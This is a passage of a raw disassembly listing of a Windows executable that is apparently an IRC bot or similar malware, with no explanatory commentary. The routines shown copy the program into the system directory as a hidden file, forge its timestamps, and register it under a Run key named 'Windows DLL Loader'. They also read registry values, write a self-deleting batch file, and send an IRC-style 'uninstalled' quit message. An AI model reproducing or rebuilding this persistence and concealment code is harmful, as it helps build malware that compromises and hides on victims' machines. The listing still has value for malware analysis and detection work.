		mov	[ebp+var_4], eax

loc_4066CF:				; CODE XREF: sub_40668F+37j
		cmp	[ebp+var_4], 6
		jge	short loc_4066EA
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_4066C8
; ---------------------------------------------------------------------------

loc_4066EA:				; CODE XREF: sub_40668F+44j
		mov	eax, [ebp+arg_4]
		and	byte ptr [eax+6], 0
		and	[ebp+var_4], 0
		jmp	short loc_4066FE
; ---------------------------------------------------------------------------

loc_4066F7:				; CODE XREF: sub_40668F+88j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_4066FE:				; CODE XREF: sub_40668F+66j
		cmp	[ebp+var_4], 10h
		jge	short loc_406719
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_4066F7
; ---------------------------------------------------------------------------

loc_406719:				; CODE XREF: sub_40668F+73j
		mov	eax, [ebp+arg_8]
		and	byte ptr [eax+10h], 0
		leave
		retn
sub_40668F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406722	proc near		; CODE XREF: sub_40A9CF+F40p

var_424		= byte ptr -424h
var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= byte ptr -418h
var_218		= dword	ptr -218h
var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_20C		= byte ptr -20Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 424h
		cmp	[ebp+arg_4], 0
		jnz	short loc_406736
		jmp	locret_406A21
; ---------------------------------------------------------------------------

loc_406736:				; CODE XREF: sub_406722+Dj
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax+4]
		cmp	eax, 5Ch
		jz	short loc_406747
		jmp	locret_406A21
; ---------------------------------------------------------------------------

loc_406747:				; CODE XREF: sub_406722+1Ej
		push	4
		push	offset aHkcr	; "HKCR"
		push	[ebp+arg_4]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_406769
		mov	[ebp+var_218], 80000000h
		jmp	short loc_4067D4
; ---------------------------------------------------------------------------

loc_406769:				; CODE XREF: sub_406722+39j
		push	4
		push	offset aHkcu	; "HKCU"
		push	[ebp+arg_4]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40678B
		mov	[ebp+var_218], 80000001h
		jmp	short loc_4067D4
; ---------------------------------------------------------------------------

loc_40678B:				; CODE XREF: sub_406722+5Bj
		push	4
		push	offset aHklm	; "HKLM"
		push	[ebp+arg_4]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4067AD
		mov	[ebp+var_218], 80000002h
		jmp	short loc_4067D4
; ---------------------------------------------------------------------------

loc_4067AD:				; CODE XREF: sub_406722+7Dj
		push	4
		push	offset aHkus	; "HKUS"
		push	[ebp+arg_4]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4067CF
		mov	[ebp+var_218], 80000003h
		jmp	short loc_4067D4
; ---------------------------------------------------------------------------

loc_4067CF:				; CODE XREF: sub_406722+9Fj
		jmp	locret_406A21
; ---------------------------------------------------------------------------

loc_4067D4:				; CODE XREF: sub_406722+45j
					; sub_406722+67j ...
		mov	eax, [ebp+arg_4]
		add	eax, 5
		mov	[ebp+arg_4], eax
		push	[ebp+arg_4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_210], eax
		jmp	short loc_4067FB
; ---------------------------------------------------------------------------

loc_4067EE:				; CODE XREF: sub_406722:loc_406858j
		mov	eax, [ebp+var_210]
		dec	eax
		mov	[ebp+var_210], eax

loc_4067FB:				; CODE XREF: sub_406722+CAj
		cmp	[ebp+var_210], 0
		jnz	short loc_406809
		jmp	locret_406A21
; ---------------------------------------------------------------------------

loc_406809:				; CODE XREF: sub_406722+E0j
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_210]
		movsx	eax, byte ptr [eax]
		cmp	eax, 5Ch
		jnz	short loc_406858
		mov	eax, [ebp+var_210]
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax+1]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 200h
		jb	short loc_40683A
		jmp	locret_406A21
; ---------------------------------------------------------------------------

loc_40683A:				; CODE XREF: sub_406722+111j
		mov	eax, [ebp+var_210]
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax+1]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_40685A
; ---------------------------------------------------------------------------

loc_406858:				; CODE XREF: sub_406722+F6j
		jmp	short loc_4067EE
; ---------------------------------------------------------------------------

loc_40685A:				; CODE XREF: sub_406722+134j
		cmp	[ebp+var_210], 200h
		jb	short loc_40686B
		jmp	locret_406A21
; ---------------------------------------------------------------------------

loc_40686B:				; CODE XREF: sub_406722+142j
		push	[ebp+var_210]
		push	[ebp+arg_4]
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_210]
		and	[ebp+eax+var_418], 0
		lea	eax, [ebp+var_C]
		push	eax
		push	1
		push	0
		lea	eax, [ebp+var_418]
		push	eax
		push	[ebp+var_218]
		call	dword_417008	; RegOpenKeyExA
		test	eax, eax
		jz	short loc_4068B5
		jmp	locret_406A21
; ---------------------------------------------------------------------------

loc_4068B5:				; CODE XREF: sub_406722+18Cj
		mov	[ebp+var_8], 1000h
		push	[ebp+var_8]
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_214], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+var_214]
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		lea	eax, [ebp+var_20C]
		push	eax
		push	[ebp+var_C]
		call	dword_41700C	; RegQueryValueExA
		test	eax, eax
		jnz	loc_406A0C
		cmp	[ebp+var_4], 1
		jz	short loc_4068FF
		cmp	[ebp+var_4], 2
		jnz	short loc_406915

loc_4068FF:				; CODE XREF: sub_406722+1D5j
		push	[ebp+var_214]
		push	offset dword_418B64
		push	[ebp+arg_0]
		call	sub_40D53F
		add	esp, 0Ch

loc_406915:				; CODE XREF: sub_406722+1DBj
		cmp	[ebp+var_4], 4
		jnz	short loc_406933
		mov	eax, [ebp+var_214]
		push	dword ptr [eax]
		push	offset dword_418B5C
		push	[ebp+arg_0]
		call	sub_40D53F
		add	esp, 0Ch

loc_406933:				; CODE XREF: sub_406722+1F7j
		cmp	[ebp+var_4], 3
		jnz	loc_406A0C
		push	180h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_420], eax
		mov	eax, [ebp+var_420]
		and	byte ptr [eax],	0
		and	[ebp+var_41C], 0
		jmp	short loc_40696D
; ---------------------------------------------------------------------------

loc_406960:				; CODE XREF: sub_406722+2C3j
		mov	eax, [ebp+var_41C]
		inc	eax
		mov	[ebp+var_41C], eax

loc_40696D:				; CODE XREF: sub_406722+23Cj
		mov	eax, [ebp+var_41C]
		cmp	eax, [ebp+var_8]
		jnb	short loc_4069EA
		mov	eax, [ebp+var_214]
		add	eax, [ebp+var_41C]
		movzx	eax, byte ptr [eax]
		push	eax
		push	offset dword_418B54
		lea	eax, [ebp+var_424]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		push	[ebp+var_420]
		call	sub_416B40	; strlen
		pop	ecx
		add	eax, 3
		cmp	eax, 180h
		jb	short loc_4069D1
		push	[ebp+var_420]
		push	offset dword_418B64
		push	[ebp+arg_0]
		call	sub_40D53F
		add	esp, 0Ch
		mov	eax, [ebp+var_420]
		and	byte ptr [eax],	0

loc_4069D1:				; CODE XREF: sub_406722+28Ej
		lea	eax, [ebp+var_424]
		push	eax
		push	[ebp+var_420]
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		jmp	loc_406960
; ---------------------------------------------------------------------------

loc_4069EA:				; CODE XREF: sub_406722+254j
		push	[ebp+var_420]
		push	offset dword_418B64
		push	[ebp+arg_0]
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_420]
		call	sub_416B4C	; free
		pop	ecx

loc_406A0C:				; CODE XREF: sub_406722+1CBj
					; sub_406722+215j
		push	[ebp+var_214]
		call	sub_416B4C	; free
		pop	ecx
		push	[ebp+var_C]
		call	dword_417028	; RegCloseKey

locret_406A21:				; CODE XREF: sub_406722+Fj
					; sub_406722+20j ...
		leave
		retn
sub_406722	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406A23	proc near		; CODE XREF: sub_40D043:loc_40D18Dp
					; sub_40D871:loc_40DB71p

var_20C		= byte ptr -20Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	104h
		lea	eax, [ebp+var_20C]
		push	eax
		call	dword_417050	; GetSystemDirectoryA
		push	offset dword_418DE4
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		push	offset dword_41DC40
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_20C]
		push	eax
		call	dword_4170AC	; DeleteFileA
		push	offset dword_4182AC
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_108], eax
		cmp	[ebp+var_108], 0
		jz	short locret_406AE5
		push	[ebp+var_108]
		push	1
		push	2
		push	offset dword_418DE0
		call	sub_416B7C	; fwrite
		add	esp, 10h
		push	[ebp+var_108]
		call	sub_416B82	; fclose
		pop	ecx
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_406B81
		pop	ecx

locret_406AE5:				; CODE XREF: sub_406A23+90j
		leave
		retn
sub_406A23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406AE7	proc near		; CODE XREF: sub_40D043+13Dp
					; sub_40D871+2F3p

var_20C		= byte ptr -20Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	104h
		lea	eax, [ebp+var_20C]
		push	eax
		call	dword_417050	; GetSystemDirectoryA
		push	offset dword_418DE4
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		push	offset dword_41DC40
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		push	offset aRb	; "rb"
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_108], eax
		cmp	[ebp+var_108], 0
		jz	short loc_406B7D
		push	[ebp+var_108]
		call	sub_416B82	; fclose
		pop	ecx
		push	1
		pop	eax
		jmp	short locret_406B7F
; ---------------------------------------------------------------------------

loc_406B7D:				; CODE XREF: sub_406AE7+83j
		xor	eax, eax

locret_406B7F:				; CODE XREF: sub_406AE7+94j
		leave
		retn
sub_406AE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406B81	proc near		; CODE XREF: sub_406A23+BCp
					; sub_406E8E+246p

var_120		= dword	ptr -120h
var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	104h
		lea	eax, [ebp+var_11C]
		push	eax
		call	dword_417040	; GetWindowsDirectoryA
		push	offset dword_418DE8
		lea	eax, [ebp+var_11C]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		push	0
		push	80h
		push	3
		push	0
		push	1
		push	80000000h
		lea	eax, [ebp+var_11C]
		push	eax
		call	dword_417044	; CreateFileA
		mov	[ebp+var_120], eax
		cmp	[ebp+var_120], 0FFFFFFFFh
		jz	short locret_406C4F
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_120]
		call	dword_417048	; GetFileTime
		push	[ebp+var_120]
		call	dword_4170A4	; CloseHandle
		push	0
		push	80h
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	dword_417044	; CreateFileA
		mov	[ebp+var_120], eax
		cmp	[ebp+var_120], 0FFFFFFFFh
		jz	short locret_406C4F
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_120]
		call	dword_41704C	; SetFileTime
		push	[ebp+var_120]
		call	dword_4170A4	; CloseHandle

locret_406C4F:				; CODE XREF: sub_406B81+5Aj
					; sub_406B81+A8j
		leave
		retn
sub_406B81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406C51	proc near		; CODE XREF: sub_406E8E+133p
					; sub_406E8E+214p ...

var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		push	offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		call	dword_417014	; RegCreateKeyExA
		cmp	[ebp+arg_0], 0
		jz	short loc_406CE1
		push	104h
		lea	eax, [ebp+var_108]
		push	eax
		call	dword_417050	; GetSystemDirectoryA
		push	offset dword_418DE4
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		push	[ebp+arg_8]
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_108]
		push	eax
		call	dword_41703C	; lstrlen
		inc	eax
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		push	1
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	dword_417010	; RegSetValueExA
		jmp	short loc_406CED
; ---------------------------------------------------------------------------

loc_406CE1:				; CODE XREF: sub_406C51+30j
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	dword_417004	; RegDeleteValueA

loc_406CED:				; CODE XREF: sub_406C51+8Ej
		push	[ebp+var_4]
		call	dword_417028	; RegCloseKey
		leave
		retn
sub_406C51	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406CF8	proc near		; CODE XREF: sub_406D47+2Bp
					; sub_406E8E+253p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_C], eax
		and	[ebp+var_4], 0
		jmp	short loc_406D1D
; ---------------------------------------------------------------------------

loc_406D16:				; CODE XREF: sub_406CF8:loc_406D40j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_406D1D:				; CODE XREF: sub_406CF8+1Cj
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jnb	short loc_406D42
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 5Ch
		jnz	short loc_406D40
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		lea	eax, [ecx+eax+1]
		mov	[ebp+var_8], eax

loc_406D40:				; CODE XREF: sub_406CF8+39j
		jmp	short loc_406D16
; ---------------------------------------------------------------------------

loc_406D42:				; CODE XREF: sub_406CF8+2Bj
		mov	eax, [ebp+var_8]
		leave
		retn
sub_406CF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406D47	proc near		; CODE XREF: sub_406E8E+9p
					; sub_407148+9p

var_108		= byte ptr -108h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		push	104h
		lea	eax, [ebp+var_108]
		push	eax
		push	0
		call	dword_41708C	; GetModuleHandleA
		push	eax
		call	dword_417090	; GetModuleFileNameA
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_406CF8
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		and	byte ptr [eax],	0
		lea	eax, [ebp+var_108]
		push	eax
		call	dword_417038	; SetCurrentDirectoryA
		leave
		retn
sub_406D47	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406D90	proc near		; CODE XREF: sub_406E8E+25Ap
					; sub_407148+168p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	8
		push	4
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_20], eax
		and	[ebp+var_1C], 0

loc_406DA8:				; CODE XREF: sub_406D90:loc_406DDFj
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_1C]
		mov	[ebp+ecx+var_18], al
		mov	eax, [ebp+var_1C]
		inc	eax
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_20]
		jnz	short loc_406DDF
		push	offset a_bat	; ".bat"
		mov	eax, [ebp+var_1C]
		lea	eax, [ebp+eax+var_18]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_406DE1
; ---------------------------------------------------------------------------

loc_406DDF:				; CODE XREF: sub_406D90+37j
		jmp	short loc_406DA8
; ---------------------------------------------------------------------------

loc_406DE1:				; CODE XREF: sub_406D90+4Dj
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_8], eax
		push	400h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_24], eax
		lea	eax, [ebp+var_18]
		push	eax
		call	dword_4170AC	; DeleteFileA
		push	0
		push	0
		push	2
		push	0
		push	0
		push	40000000h
		lea	eax, [ebp+var_18]
		push	eax
		call	dword_417044	; CreateFileA
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0FFFFFFFFh
		jnz	short loc_406E2B
		xor	eax, eax
		jmp	short locret_406E8C
; ---------------------------------------------------------------------------

loc_406E2B:				; CODE XREF: sub_406D90+95j
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+arg_0]
		push	[ebp+arg_0]
		push	offset a@echoOffDelete ; "@echo	off\r\n:deleteagain\r\ndel /A:H	/F %s"...
		push	[ebp+var_24]
		call	dword_4171E0	; wsprintfA
		add	esp, 18h
		and	[ebp+var_4], 0
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+var_24]
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	dword_417068	; WriteFile
		push	[ebp+var_28]
		call	dword_4170A4	; CloseHandle
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_18]
		push	eax
		push	offset aOpen	; "open"
		push	0
		call	dword_4171D0
		push	1
		pop	eax

locret_406E8C:				; CODE XREF: sub_406D90+99j
		leave
		retn
sub_406D90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406E8E	proc near		; CODE XREF: sub_4167F1:loc_4169E1p

var_368		= dword	ptr -368h
var_338		= word ptr -338h
var_324		= byte ptr -324h
var_220		= dword	ptr -220h
var_21C		= byte ptr -21Ch
var_118		= byte ptr -118h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h

		push	ebp
		mov	ebp, esp
		sub	esp, 368h
		call	sub_406D47
		push	104h
		lea	eax, [ebp+var_324]
		push	eax
		push	0
		call	dword_41708C	; GetModuleHandleA
		push	eax
		call	dword_417090	; GetModuleFileNameA
		and	[ebp+var_14], 0
		and	[ebp+var_220], 0
		jmp	short loc_406ED1
; ---------------------------------------------------------------------------

loc_406EC4:				; CODE XREF: sub_406E8E:loc_406FF8j
		mov	eax, [ebp+var_220]
		inc	eax
		mov	[ebp+var_220], eax

loc_406ED1:				; CODE XREF: sub_406E8E+34j
		mov	eax, [ebp+var_220]
		shl	eax, 1
		cmp	off_418B88[eax*4], 0
		jz	loc_406FFD
		mov	eax, [ebp+var_14]
		inc	eax
		mov	[ebp+var_14], eax
		push	104h
		lea	eax, [ebp+var_21C]
		push	eax
		call	dword_417050	; GetSystemDirectoryA
		push	offset dword_418DE4
		lea	eax, [ebp+var_21C]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B88[eax*4]
		lea	eax, [ebp+var_21C]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_324]
		push	eax
		lea	eax, [ebp+var_21C]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_406FF8
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B8C[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B88[eax*4]
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B8C[eax*4]
		push	1
		call	sub_406C51
		add	esp, 0Ch
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105AD
		pop	ecx
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B8C[eax*4]
		call	sub_4105AD
		pop	ecx
		jmp	locret_407146
; ---------------------------------------------------------------------------

loc_406FF8:				; CODE XREF: sub_406E8E+E3j
		jmp	loc_406EC4
; ---------------------------------------------------------------------------

loc_406FFD:				; CODE XREF: sub_406E8E+53j
		push	[ebp+var_14]
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_14], eax
		push	104h
		lea	eax, [ebp+var_118]
		push	eax
		call	dword_417050	; GetSystemDirectoryA
		push	offset dword_418DE4
		lea	eax, [ebp+var_118]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_14]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_14]
		shl	eax, 1
		push	off_418B88[eax*4]
		lea	eax, [ebp+var_118]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_14]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_118]
		push	eax
		call	dword_4170AC	; DeleteFileA

loc_40707C:				; DATA XREF: .data:0041AD4Co
					; .data:0041AD60o ...
		push	0
		lea	eax, [ebp+var_118]
		push	eax
		lea	eax, [ebp+var_324]
		push	eax
		call	dword_417060	; CopyFileA
		test	eax, eax
		jnz	short loc_4070AF
		push	offset dword_41EB2C
		push	offset aWindowsDllLoad ; "Windows DLL Loader"
		push	1
		call	sub_406C51
		add	esp, 0Ch
		jmp	locret_407146
; ---------------------------------------------------------------------------

loc_4070AF:				; CODE XREF: sub_406E8E+206j
		push	4
		lea	eax, [ebp+var_118]
		push	eax
		call	dword_4170A8	; SetFileAttributesA
		push	2
		lea	eax, [ebp+var_118]
		push	eax
		call	dword_4170A8	; SetFileAttributesA
		lea	eax, [ebp+var_118]
		push	eax
		call	sub_406B81
		pop	ecx
		lea	eax, [ebp+var_324]
		push	eax
		call	sub_406CF8
		pop	ecx
		push	eax
		call	sub_406D90
		pop	ecx
		push	44h
		push	0
		lea	eax, [ebp+var_368]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_368], 44h
		and	[ebp+var_338], 0
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_368]
		push	eax
		push	0
		push	0
		push	28h
		push	1
		push	0
		push	0
		lea	eax, [ebp+var_118]
		push	eax
		push	0
		call	dword_41707C	; CreateProcessA
		call	dword_417254	; WSACleanup
		push	0
		call	sub_416BFC	; exit

locret_407146:				; CODE XREF: sub_406E8E+165j
					; sub_406E8E+21Cj
		leave
		retn
sub_406E8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407148	proc near		; CODE XREF: sub_402A32+7BBp
					; sub_40A9CF+145Fp ...

var_20C		= byte ptr -20Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		call	sub_406D47
		push	104h
		lea	eax, [ebp+var_20C]
		push	eax
		push	0
		call	dword_41708C	; GetModuleHandleA
		push	eax
		call	dword_417090	; GetModuleFileNameA
		and	[ebp+var_108], 0
		jmp	short loc_407187
; ---------------------------------------------------------------------------

loc_40717A:				; CODE XREF: sub_407148:loc_4072DBj
		mov	eax, [ebp+var_108]
		inc	eax
		mov	[ebp+var_108], eax

loc_407187:				; CODE XREF: sub_407148+30j
		mov	eax, [ebp+var_108]
		shl	eax, 1
		cmp	off_418B88[eax*4], 0
		jz	loc_4072E0
		push	104h
		lea	eax, [ebp+var_104]
		push	eax
		call	dword_417050	; GetSystemDirectoryA
		push	offset dword_418DE4
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B88[eax*4]
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_20C]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_4072DB
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B8C[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B88[eax*4]
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B8C[eax*4]
		push	0
		call	sub_406C51
		add	esp, 0Ch
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105AD
		pop	ecx
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B8C[eax*4]
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_406CF8
		pop	ecx
		push	eax
		call	sub_406D90
		pop	ecx
		test	eax, eax
		jz	short loc_4072D9
		push	offset dword_41EB2C
		push	offset aQuitSUninstall ; "QUIT :%s uninstalled."
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		call	dword_417254	; WSACleanup
		push	0
		call	dword_41705C	; ExitProcess

loc_4072D9:				; CODE XREF: sub_407148+170j
		jmp	short locret_40732B
; ---------------------------------------------------------------------------

loc_4072DB:				; CODE XREF: sub_407148+D8j
		jmp	loc_40717A
; ---------------------------------------------------------------------------

loc_4072E0:				; CODE XREF: sub_407148+4Fj
		push	offset dword_41EB2C
		push	offset aWindowsDllLoad ; "Windows DLL Loader"
		push	0
		call	sub_406C51
		add	esp, 0Ch
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_406CF8
		pop	ecx
		push	eax
		call	sub_406D90
		pop	ecx
		test	eax, eax
		jz	short locret_40732B
		push	offset dword_41EB2C
		push	offset aQuitSUninstall ; "QUIT :%s uninstalled."
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		call	dword_417254	; WSACleanup
		push	0
		call	dword_41705C	; ExitProcess

locret_40732B:				; CODE XREF: sub_407148:loc_4072D9j
